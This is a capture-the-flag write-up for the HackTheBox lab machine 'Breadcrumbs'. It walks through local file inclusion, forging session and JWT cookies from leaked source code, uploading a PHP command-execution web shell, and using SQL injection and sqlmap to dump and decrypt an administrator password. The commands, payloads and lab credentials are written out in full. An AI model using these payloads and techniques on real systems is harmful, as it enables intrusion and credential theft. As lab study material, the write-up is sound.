Home Breadcrumbs HTB
Post
Cancel

Breadcrumbs HTB

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Nmap done at Tue Jul 13 04:06:21 2021 -- 1 IP address (1 host up) scanned in 49.05 seconds
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap# 
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap# cat Script_10.129.163.3.nmap
# Nmap 7.80 scan initiated Tue Jul 13 04:05:32 2021 as: /usr/bin/nmap -sCV -p22,80,135,139,443,445,3306 --open -oN nmap/Script_10.129.163.3.nmap --system-dns --stats-every 2s 10.129.163.3
Nmap scan report for 10.129.163.3
Host is up (0.27s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3306/tcp open  mysql?
| fingerprint-strings: 
|   oracle-tns: 
|_    Host '10.10.17.189' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=7/13%Time=60ED112E%P=x86_64-pc-linux-gnu%r(or
SF:acle-tns,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.17\.189'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1h00m00s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-13T03:06:14
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 13 04:06:21 2021 -- 1 IP address (1 host up) scanned in 49.05 seconds

Enumeration

Port 22: SSH on windows let’s enumerate 135,139,445 first. Let’s see if the box has a recent vulnerabiltiy PrintNightMare.

1
2
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap# rpcdump.py @10.129.163.3 | grep MS-RP
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap# 

The box is not vulnerable to printnightmare.

[Pasted image 20210713042835.png]

Default access to enumerate 135,139,445 are not allowed.

Now we have 80, 443

[Pasted image 20210713044826.png]

Looks like we have a lfi on the machine. make a note of actual path of the lfi.

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Tue, 13 Jul 2021 04:10:27 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
X-Powered-By: PHP/8.0.1
Content-Length: 361
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  Undefined array key "book" in <b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  file_get_contents(../books/): Failed to open stream: No such file or directory in <b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b> on line <b>28</b><br />
false

From the above error, the page expects a book variable for loading the contents of the webpage.

[Pasted image 20210713044808.png]

[Pasted image 20210713051145.png]

We have a Successful LFI with book variable

[Pasted image 20210713050637.png]

1
2
3
4
5
6
7
8
9
> users.txt
alex
emma
jack
john
lucas
olivia
paul
william
1
2
> password.txt
jUli901

Let’s try a brute with usernames and passwords.

[Pasted image 20210713052745.png]

No luck with username, password combinations. After registering and logging in we have more options. [Pasted image 20210713053246.png] [Pasted image 20210713053343.png] [Pasted image 20210713053402.png] We have some new users here. Let’s grab them and put in our files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php 

require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;

$errors = array();
$username = \"\";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];

\/\/if user clicks on login
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
    if($_POST['method'] == 0){
        $username = $_POST['username'];
        $password = $_POST['password'];
        
        $query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($query);
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_ASSOC)){
            array_push($userdata, $row);
        }
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $password = sha1($password);
            $passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
            $stmt = $con->prepare($passwordQuery);
            $stmt->bind_param('ss', $password, $username);
            $stmt->execute();
            $result = $stmt->get_result();

            if($result->num_rows > 0){
                $valid = true;
            }
            $stmt->close();
        }

        if($valid){
            session_id(makesession($username));
            session_start();

            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();

            $payload = array(
                \"data\" => array(
                    \"username\" => $username
            ));

            $jwt = JWT::encode($payload, $secret_key, 'HS256');
            
            setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");

            $_SESSION['username'] = $username;
            $_SESSION['loggedIn'] = true;
            if($userdata[0]['position'] == \"\"){
                $_SESSION['role'] = \"Awaiting approval\";
            } 
            else{
                $_SESSION['role'] = $userdata[0]['position'];
            }
            
            header(\"Location: \/portal\");
        }

        else{
            $_SESSION['loggedIn'] = false;
            $errors['valid'] = \"Username or Password incorrect\";
        }
    }

    elseif($_POST['method'] == 1){
        $username=$_POST['username'];
        $password=$_POST['password'];
        $passwordConf=$_POST['passwordConf'];
        
        if(empty($username)){
            $errors['username'] = \"Username Required\";
        }
        if(strlen($username) < 4){
            $errors['username'] = \"Username must be at least 4 characters long\";
        }
        if(empty($password)){
            $errors['password'] = \"Password Required\"; 
        }
        if($password !== $passwordConf){
            $errors['passwordConf'] = \"Passwords don't match!\"; 
        }

        $userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($userQuery);
        $stmt ->bind_param('s',$username);
        $stmt->execute();
        $result = $stmt->get_result();
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $errors['username'] = \"Username already exists\";
        }

        if(count($errors) === 0){
            $password = sha1($password);
            $sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
            $stmt = $con->prepare($sql);
            $stmt ->bind_param('ss', $username, $password);

            if ($stmt->execute()){
                $user_id = $con->insert_id;
                header('Location: login.php');
            }
            else{
                $_SESSION['loggedIn'] = false;
                $errors['db_error']=\"Database error: failed to register\";
            }
        }
    }
}
?>	

We have a secret key for making the cookie for a user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== \"paul\"){
    header(\"Location: ..\/index.php\");
}
if(isset($_SESSION['loggedIn'])){
    $LOGGED_IN = true;
    require '..\/db\/db.php';
}
else{
    header(\"Location: ..\/auth\/login.php\");
    die();
}
?>
<html lang=\"en\">
    <head>
        <title>Binary<\/title>
        <meta charset=\"utf-8\">
        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">
        <link rel=\"stylesheet\" href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootstrap\/4.0.0\/css\/bootstrap.min.css\" integrity=\"sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW\/dAiS6JXm\" crossorigin=\"anonymous\">
        <script src=\"https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/3.2.1\/jquery.min.js\"><\/script>
        <link rel=\"stylesheet\" type=\"text\/css\" href=\"..\/assets\/css\/main.css\">
        <link rel=\"stylesheet\" type=\"text\/css\" href=\"..\/assets\/css\/all.css\">
    <\/head>

    <nav class=\"navbar navbar-default justify-content-end\">
        <div class=\"navbar-header justify-content-end\">
            <button type=\"button\" class=\"navbar-toggle btn btn-outline-info p-3 m-3\" data-toggle=\"collapse\" data-target=\".navbar-collapse\"><i class=\"fas fa-hamburger\"><\/i><\/button>
        <\/div>

        <div class=\"collapse navbar-collapse justify-content-end mr-5\">
             <ul class=\"navbar-nav\">
                <li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"..\/index.php\"><i class=\"fas fa-home\"><\/i> Home<\/a><\/li>
                <li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"issues.php\"><i class=\"fa fa-check\" aria-hidden=\"true\"><\/i> Issues<\/a><\/li>
                <li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"users.php\"><i class=\"fa fa-user\" aria-hidden=\"true\"><\/i> User Management<\/a><\/li>
                <li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"#\"><i class=\"fa fa-file\" aria-hidden=\"true\"><\/i> File Management<\/a><\/li>
                <li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"..\/auth\/logout.php\"><i class=\"fas fa-sign-out-alt\"><\/i> Logout<\/a><\/li>
             <\/ul>
        <\/div>
    <\/nav>
    <body class=\"bg-dark\">
        <main class=\"main\">
            <div class=\"row justify-content-center text-white text-center\">
                <div class=\"col-md-3\">
                    <h1>Task Submission<\/h1>
                    <p class=\"text-danger\"><i class=\"fas fa-exclamation-circle\"><\/i> Please upload only .zip files!<\/p>
                    <form onsubmit=\"return false\">
                        <div class=\"form-group mt-5\">
                            <input type=\"text\" class=\"form-control\" placeholder=\"Task completed\" id=\"task\" name=\"task\">
                        <\/div>
                        <div class=\"form-group\">
                            <input type=\"file\" class=\"form-control\" placeholder=\"Task\" id=\"file\" name=\"file\">
                        <\/div>
                        <button type=\"submit\" class=\"btn btn-outline-success btn-block py-3\" id=\"upload\">Upload<\/button>
                    <\/form>
                    <p id=\"message\"><\/p>
                <\/div>
            <\/div>
        <\/div>
        <\/main>

        <?php include \"..\/includes\/footer.php\"; ?>
        <script src=\"https:\/\/cdn.jsdelivr.net\/npm\/bootstrap@4.5.3\/dist\/js\/bootstrap.bundle.min.js\" integrity=\"sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ\/JpcUGGOn+Y7RsweNrtN\/tE3MoK7ZeZDyx\" crossorigin=\"anonymous\"><\/script>
        <script type=\"text\/javascript\" src='..\/assets\/js\/files.js'><\/script>
    <\/body>


<\/html>

We see files.php is only accessible by paul user. let’s go to paul session by creating a cookie

1
2
3
4
5
6
7
8
9
10
--- Cookie.php ---

function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

[Pasted image 20210713062823.png]

So now we have control on both the cookies. Let’s generate for paul user.

[Pasted image 20210713062655.png]

[Pasted image 20210713062743.png]

let’s replace the cookies with paul user cookies

1
2
3
4
5
6
7
8
9
10
11
GET /portal/php/files.php HTTP/1.1
Host: 10.129.163.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.163.3/portal/
Connection: close
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
Upgrade-Insecure-Requests: 1

[Pasted image 20210713063041.png]

YAY!! Now we impersonated as admin paul user and we have file upload options now. [Pasted image 20210713063152.png]

[Pasted image 20210713063415.png]

We I tried to upload without a file, the application gave me an error. So Let’s pull fileController.php and how the file handling is taken care.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function(){
    $("#upload").click(function(){
        var formData = new FormData();
        formData.append('file', $('#file')[0].files[0]);
        formData.append('task', $('#task').val() + ".zip");
        post(formData);
        formData = null;
    })
});


function post(formData){
    jQuery.ajax({
        url: "../includes/fileController.php",
        type: "POST",
        processData: false,
        contentType: false,
        data: formData,
        success: function(res){
            $("#message").html(res);
        }
    });
}

When the form is submitted, javascript adds an extension to the task name before sending. As it is done at client side we can intercept and change the extension.

User

[Pasted image 20210713072917.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /portal/includes/fileController.php HTTP/1.1
Host: 10.129.163.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.163.3/portal/php/files.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------105167825618207529871265778955
Content-Length: 376
Connection: close
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

-----------------------------105167825618207529871265778955
Content-Disposition: form-data; name="file"; filename="tiny.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

-----------------------------105167825618207529871265778955
Content-Disposition: form-data; name="task"

task.php
-----------------------------105167825618207529871265778955--

We are able to send the request but the server is not able to write into the uploads directory.

Let’s try with a different payload and check..

[Pasted image 20210713092629.png]

[Pasted image 20210713092652.png]

Let’s do a tcpdump and check are we getting any ping from the box.

[Pasted image 20210713092734.png]

And yes the script works. Now we a very limited shell on the machines. Let’s try to gain more from the shell.

[Pasted image 20210713103440.png]

[Pasted image 20210713121827.png]

[Pasted image 20210713121929.png]

1
2
3
4
5
6
7
8
9
10
11
{
	"pizza" : "margherita",
	"size" : "large",	
	"drink" : "water",
	"card" : "VISA",
	"PIN" : "9890",
	"alternate" : {
		"username" : "juliette",
		"password" : "jUli901./())!",
	}
}

[Pasted image 20210713122053.png] [Pasted image 20210713122143.png]

[Pasted image 20210713125207.png]

Seems like we have AV on the machine and it is not allowing our automated scripts to run.

[Pasted image 20210713132424.png]

[Pasted image 20210713132454.png]

1
development: fN3)sN5Ee@g

[Pasted image 20210713132839.png]

[Pasted image 20210713133153.png]

[Pasted image 20210713133120.png]

As port 1234 is not open for all, let;s make a tunnel through

1
2
3
4
5
6
7
8
root@kali:~/ctf/htb/Breadcrumbs# 
root@kali:~/ctf/htb/Breadcrumbs# ssh -L 1234:127.0.0.1:1234 development@breadcrumbs
development@breadcrumbs's password: 
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

development@BREADCRUMBS C:\Users\development>

Root

1
2
3
4
5
6
7
root@kali:~/ctf/htb/Breadcrumbs# netstat -tunpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN      28767/ssh           
tcp6       0      0 ::1:1234                :::*                    LISTEN      28767/ssh           
root@kali:~/ctf/htb/Breadcrumbs# nano z

Let’s reverse the binary and see what it is doing. The binary does a simple call to a url using curl and get the key and compares with our key. So we can intercept the service manually and exploit it and get the key.

[Pasted image 20210713134703.png]

[Pasted image 20210713134530.png]

key : k19D193j.<19391(

when i supplied the key we have no luck. But looking at the query we can it seemed like a simple sql query. So i was trying for an sql-injection and we can dump the table values.

1
2
3
4
5
6
7
8
9
root@kali:~/ctf/htb/Breadcrumbs/Development# curl -XPOST http://passmanager.htb:1234/index.php -d "method=select&username=a' or 1=1-- --&table=passwords"
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}
root@kali:~/ctf/htb/Breadcrumbs/Development# 

Let’s do it with sqlmap

[Pasted image 20210713140151.png]

1
root@kali:~/ctf/htb/Breadcrumbs/Development# sqlmap --url=http://passmanager.htb:1234/index.php --data="method=select&username=administrator&table=passwords" -p "username" --method POST
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[1 entry]
+------+---------------+------------------+----------------------------------------------+
| id   | account       | aes_key          | password                                     |
+------+---------------+------------------+----------------------------------------------+
| 1    | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+------+---------------+------------------+----------------------------------------------+

[14:00:53] [INFO] table 'bread.passwords' dumped to CSV file '/root/.local/share/sqlmap/output/passmanager.htb/dump/bread/passwords.csv'
[14:00:53] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/passmanager.htb'
[14:00:53] [WARNING] you haven't updated sqlmap for more than 377 days!!!

[*] ending @ 14:00:53 /2021-07-13/


The password is encrypted let’s decrypt the password with the aes_key provided

[Pasted image 20210713140711.png]

Password: p@ssw0rd!@#$9890./

http://icyberchef.com/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)AES_Decrypt(%7B'option':'Latin1','string':'k19D193j.%3C19391('%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D)&input=SDJkRnovak53dFNUV0RVUm90OUpCaFdNUDZYT2RtY3BncXZZSEczNVFLdz0

[Pasted image 20210713140912.png]

And Finally Done. Really Good box. Lot of new things. Cheers!!!

This post is licensed under CC BY 4.0 by the author.